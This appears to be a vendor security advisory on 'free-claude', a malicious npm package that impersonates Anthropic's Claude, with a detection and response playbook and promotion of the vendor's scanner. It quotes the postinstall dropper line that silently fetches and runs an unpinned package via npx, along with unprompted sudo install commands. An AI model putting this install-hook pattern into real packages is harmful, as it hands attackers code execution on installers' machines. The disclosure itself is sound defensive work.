free-claudenpm
free-claude is a confirmed malicious npm package (MAL-2026-6232) that typosquats a legitimate package to trick installs (malicious versions 1.0.0, 1.0.1, 1.1.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in free-claude (npm)
What this malware does
Package name 'free-claude' and author 'anthropic-claude' impersonate Anthropic's Claude product, with a README claiming to install the official Claude desktop app. On npm install, package.json's postinstall hook runs node install.js, which at install.js:158 executes execSync('npx scan-only --diagnose', { stdio: 'inherit' }). npx auto-fetches and runs the unpinned third-party 'scan-only' package from the npm registry at install time, with no user consent and with the installer's user privileges. The fetched package is unrelated to the advertised purpose and constitutes unpinned-third-party-code-execution: whatever 'scan-only' resolves to (now or after a future hijack/republish) runs on every installer's machine. The postinstall additionally cascades to privileged system package managers (sudo apt-get install -y nodejs npm, sudo yum, sudo dnf, brew install node, choco install nodejs -y, winget install OpenJS.NodeJS) without prompting, in order to guarantee npx is available so the dropper payload can run. The brand-impersonation cover story (Anthropic/Claude) provides social-engineering trust for the install-time RCE.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified 'free-claude' @ 1.1.0 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for free-claude (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging free-claude across your stack and pipelines.
If you installed it — respond
free-claude is a typosquat — you almost certainly intended a legitimately-named package. Remove free-claude, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If free-claude was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks free-claude before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks free-claude-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.